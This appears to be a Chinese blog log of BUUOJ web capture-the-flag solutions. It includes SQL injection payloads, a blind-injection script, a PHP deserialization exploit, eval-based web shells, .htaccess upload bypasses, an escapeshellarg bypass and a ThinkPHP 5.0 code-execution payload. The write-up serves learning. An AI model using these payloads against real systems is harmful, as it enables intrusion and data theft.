BUUOJ刷题记录(1.25-1.31)
本文最后更新于 185 天前,其中的信息可能已经有所发展或是发生改变。

[网鼎杯 2018]Fakebook

user.php.bak源码

注册完账号查看信息的时候可以看到采用get的方式来搜索序号。

?no=1

相对来说比较简单的注入,过滤了union select,但是可以通过/**/绕过。

?no=0 union/**/select 1,2,3,4;#

易得2为注入点,爆库

?no=0 union/**/select 1,group_concat(distinct TABLE_SCHEMA), 3, 4 from information_schema.tables--

爆表

?no=0 union/**/select 1,group_concat(distinct TABLE_NAME), 3, 4 from information_schema.tables where table_schema='fakebook'--

字段

?no=0 union/**/select 1,group_concat(distinct COLUMN_NAME), 3, 4 from information_schema.columns where table_schema='fakebook' and table_name='users'--

字段内容

?no=0 union/**/select 1, group_concat(no) , 3, 4 from users--
?no=0 union/**/select 1, group_concat(username) , 3, 4 from users--
?no=0 union/**/select 1, group_concat(passwd) , 3, 4 from users--
?no=0 union/**/select 1, group_concat(data) , 3, 4 from users--

其中出来的data为反序列化。

O:8:"UserInfo":3:{s:4:"name";s:7:"oatmeal";s:3:"age";i:18;s:4:"blog";s:17:"http://baidu.com/";}

其中的值对应页面渲染成出来的name age blog,结合源码,推测在用户输入no时,第一时间查询data值,将反序列化后的值序列化后对网页进行渲染。

搞清这个逻辑就比较简单了,既然源码中存在正则过滤,可以通过数据库查询的方式来绕过blog的正则过滤,将想读取的文件放在博客路径内,最后Base64解码。

?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users --

最后的目录还是有点小坑爹的,一直在根目录读取,读了个空气。

[CISCN2019 华北赛区]Hack World

传入id,有两种返回结果,1以及2。很容易的推测到可能是布尔盲注。

fuzz之后发现WAF了空格(BUUFCTF的容器通常是顶不住fuzz的)。使用括号可以绕过。

这里直接用了通杀语句if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)

exp

import requests

string = "Hello, glzjin wants a girlfriend."
url = "http://c51bbb75-0b7f-4f51-8343-a1e164f75d10.node3.buuoj.cn/index.php"
flag = ""

for i in range(50):
    for j in range(127):
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
        data = {'id': payload}
        files = []
        headers = {}
        response = requests.request("POST", url, headers=headers, data=data, files=files)
        print(j)
 #为了防止因网络原因而导致爆破中断丢失数据
        if response.text.find(string) != -1:
            flag += chr(j)
            print(flag)
            break

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

跟着流程分析,首先通过GET的方式获取字符串,经过检验后进行反序列化

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

检验函数验证字符的ASCII值在32到125之间

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

接着看反序列化后发生了什么,由于没有发生构造,所以不触发构造的魔术方法,最终是析构的魔术方法

function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

如果op==="2",则将op转为1。注意这里是强等于。

再看一下process()函数:

public function process() {
    if($this->op == "1") {
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

根据op的值不同分别触发3个方法,其中op=="1"为写文件,op=="2"为读文件,其他报错。这里用的是弱等于,再加上用的是数字,其实考点就很明显。

private function read() {
    $res = "";
    if(isset($this->filename)) {
        $res = file_get_contents($this->filename);
    }
    return $res;
    }

read()函数用了file_get_contents()读取文件,这里可以用php伪协议读取flag。

生成反序列化字符串。

<?php

class FileHandler {
    protected $op = 2;
    protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    protected $content = "";
}

echo serialize(new FileHandler());
file_put_contents('exp.txt',serialize(new FileHandler()));

这里由于做了字符的ASCII限制,所以不能直接传入%00。

利用PHP7.1+的特性,对序列化类型不敏感,改成public生成序列化对象传参即可。

[MRCTF2020]你传你🐎呢

可以传.htaccess,蚁剑一把梭

注意这边还有创建沙盒,所以不能用不同浏览器。

[强网杯 2019]高明的黑客

一堆混淆+shell

不过没有几个是能用的,需要跑个脚本,考察脚本编写能力的,测试一下哪个是能用的。

上py

import os
import requests
# 文件路径
path = "D://SOURCE//BUUOJ//[强网杯 2019]高明的黑客//www.tar//www//src//"
# 遍历文件目录查找文件
files = os.listdir(path=path)


# GET方法传参
def GET(filename):
    f = open(path + filename, 'r')
    getList = []
    content = f.readlines()

    for line in content:
        if line.find("$_GET['") > 0:
            startIndex = line.find("$_GET['") + 7
            endIndex = line.find("'", startIndex)
            getList.append(line[startIndex:endIndex])
    return getList


# POST方法传参
def POST(filename):
    f = open(path + filename, 'r')
    postList = []
    content = f.readlines()

    for line in content:
        if line.find("$_POST['") > 0:
            startIndex = line.find("$_POST['") + 8
            endIndex = line.find("'", startIndex)
            postList.append(line[startIndex:endIndex])
    return postList


if __name__ == "__main__":
    for file in files:
        if file != ".idea":
            print("OPEN FILE:" + file)
            get = GET(file)
            for i in get:
                url = "http://127.0.0.1/%s?$s=%s".format(file, i, 'echo "GET SUCCESS"')
                response = requests.get(url=url)
                if response.text.find("GET SUCCESS") > 0:
                    print("SUCCESS GET! YOU FIND THE SHELL %s BY %s".format(file, i))
                    exit(0)

            post = POST(file)
            for i in post:
                url = "http://127.0.0.1/%s".format(file)
                data = {i: 'echo "POST SUCCESS"'}
                response = requests.get(url=url, data=data)
                if response.text.find("POST SUCCESS") > 0:
                    print("SUCCESS POST! YOU FIND THE SHELL %s BY %s".format(file, i))
                    exit(0)

        print("CLOSE FILE")

贼捞,大概一分钟跑七到八个这样子,算了算根本跑不完。

还是要多线程,最后参考大佬脚本搞的。

/xk0SzyKwfzw.php?Efa5BVG=echo%20%27success%27
import os
import requests
import threading
import time
import sys

# 文件路径
path = "D://SOURCE//BUUOJ//[强网杯 2019]高明的黑客//www.tar//www//src//"
# 遍历文件目录查找文件
files = os.listdir(path=path)


# GET方法传参
def GET(filename):
    f = open(path + filename, 'r')
    getList = []
    content = f.readlines()

    for line in content:
        if line.find("$_GET['") > 0:
            startIndex = line.find("$_GET['") + 7
            endIndex = line.find("'", startIndex)
            getList.append(line[startIndex:endIndex])
    return getList


# POST方法传参
def POST(filename):
    f = open(path + filename, 'r')
    postList = []
    content = f.readlines()

    for line in content:
        if line.find("$_POST['") > 0:
            startIndex = line.find("$_POST['") + 8
            endIndex = line.find("'", startIndex)
            postList.append(line[startIndex:endIndex])
    return postList


def get_content(file):
    print("OPEN FILE:" + file)
    get = GET(file)
    for i in get:
        url = "http://127.0.0.1/src/{}?{}={}".format(file, i, 'echo "GET '
                                                              'SUCCESS"')
        response = requests.get(url=url)
        if response.text.find("GET SUCCESS") > 0:
            print("SUCCESS GET! YOU FIND THE SHELL {} BY {}".format(file, i))
            f = open("shell.txt", "w")
            f.write(response.text)
            sys.exit(0)

    post = POST(file)
    for i in post:
        url = "http://127.0.0.1/src/{}".format(file)
        data = {i: 'echo "POST SUCCESS"'}
        response = requests.get(url=url, data=data)
        if response.text.find("POST SUCCESS") > 0:
            print("SUCCESS POST! YOU FIND THE SHELL {} BY {}".format(file, i))
            f = open("shell.txt", "w")
            f.write(response.text)
            sys.exit(0)
        response.close()

    print("CLOSE FILE")


if __name__ == "__main__":
    s1 = threading.Semaphore(100)
    requests.adapters.DEFAULT_RETRIES = 5
    for file in files:
        get_content(file)
        t = threading.Thread(target=get_content, args=(file,))
        t.start()

PS:会跑炸,我太菜了

[GYCTF2020]Blacklist

万能钥匙穿了

1' or '1'='1'#

上select被过滤了

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

感觉很像强网杯的随便注(看了一下就是),然后就是堆叠注入了。

1';show tables;#

官方文档。使用OPEN打开表的会话,在CLOSE前不会关闭;使其在打开期间使用READ读取文件。

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;
#

[MRCTF2020]Ez_bypass

老套娃了

curl --location -g --request POST 'http://8e1d6248-05fa-4882-9a60-505748ae35d2.node3.buuoj.cn/?gg[]=[1]&id[]=[2]' \
--form 'passwd="1234567a"'

注意通过浏览器以及POSTMAN传入的数字会自动转为字符串而不会被当为数字解析,所以得用弱类型比较。

[BUUCTF 2018]Online

起先以为是简单的命令注入+连接词的利用,后来发现没这么easy,传入host之后还进行了过滤。

$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);

放上两个学习连接,具体不写了

利用/绕过 PHP escapeshellarg/escapeshellcmd函数

PHP escapeshellarg()+escapeshellcmd() 之殇

escapeshellarg

1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令

escapeshellcmd

1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令

其实就是bypass这两个函数

'<?php eval($_POST["a"]);?> -oG 1.php ' 

在单引号的字符串可以当做命令执行

写入文件后shell

[GXYCTF2019]禁止套娃

扫到.git

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

大概三层过滤,第一层过滤一些PHP伪协议,第二层过滤了有参数函数、第三层过滤了一些关键词。

u1s1有点魔鬼,看着别人的wp做的。

一步步来,首先我们想构造的是这样的一句话:

<?php
    print_r(scandir('.'));
?>

其中scandir('.')可以遍历当前目录,返回当前目录的目录。

但是这个函数是个有参函数,咋整呢,需要构造这个.

利用localeconv(),该函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

/?exp=print_r(localeconv());

pos() current()两个函数可以返回数组的单元,默认取第一个值,这样就可以构造遍历目录了。

exp=print_r(localeconv());

可以看到目录下是有flag文件的,在倒数第二个位置,正数第四个位置。接下来就是读取文件内容了。

这里有三种读取文件的方法

1.array_reverse()

数组逆向,加一位移位

print_r(next(array_reverse(scandir(pos(localeconv())))));

读取文件有两种方法,一种是直接print_r(readfile(file)),一种是highlight_file(file)

2.array_rand(array_flip())

array_rand()随机取出数组单元,array_flip()函数交换键与值

print_r(array_rand(array_flip(scandir(current(localeconv())))));

3.session_id(session_start())

print_r(session_id(session_start()));

PHPSESSID=flag.php即可。

[GXYCTF2019]BabyUpload

直接.htaccess怼进去,传图片马,注意他过滤了<?ph格式即可。

<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>
GIF89a
<script language='php'>@eval($_POST['shell']);</script>

[BJDCTF 2nd]old-hack

看到THINKPHP5,习惯性尝试一下tp5.0的payload,结果就成了,开了强制路由还有debug模式

?s=/index/think\app/index

看到报错提示,提示是5.0.23版本,就去找一下payload

ThinkPHP5.0.*版本代码执行漏洞

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

[安洵杯 2019]easy_web

注意到默认后缀传入两个参数

?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

其中img为base64编码,两次解压后得到3535352e706e67,可能为16进制,转为555.png

利用读取index.php源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

看着有两个漏洞点,一个是读取文件,一个是命令执行,但是读取文件被过滤了flag,cmd也有正则。

考点就是md5强碰撞,以及用\绕过正则。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇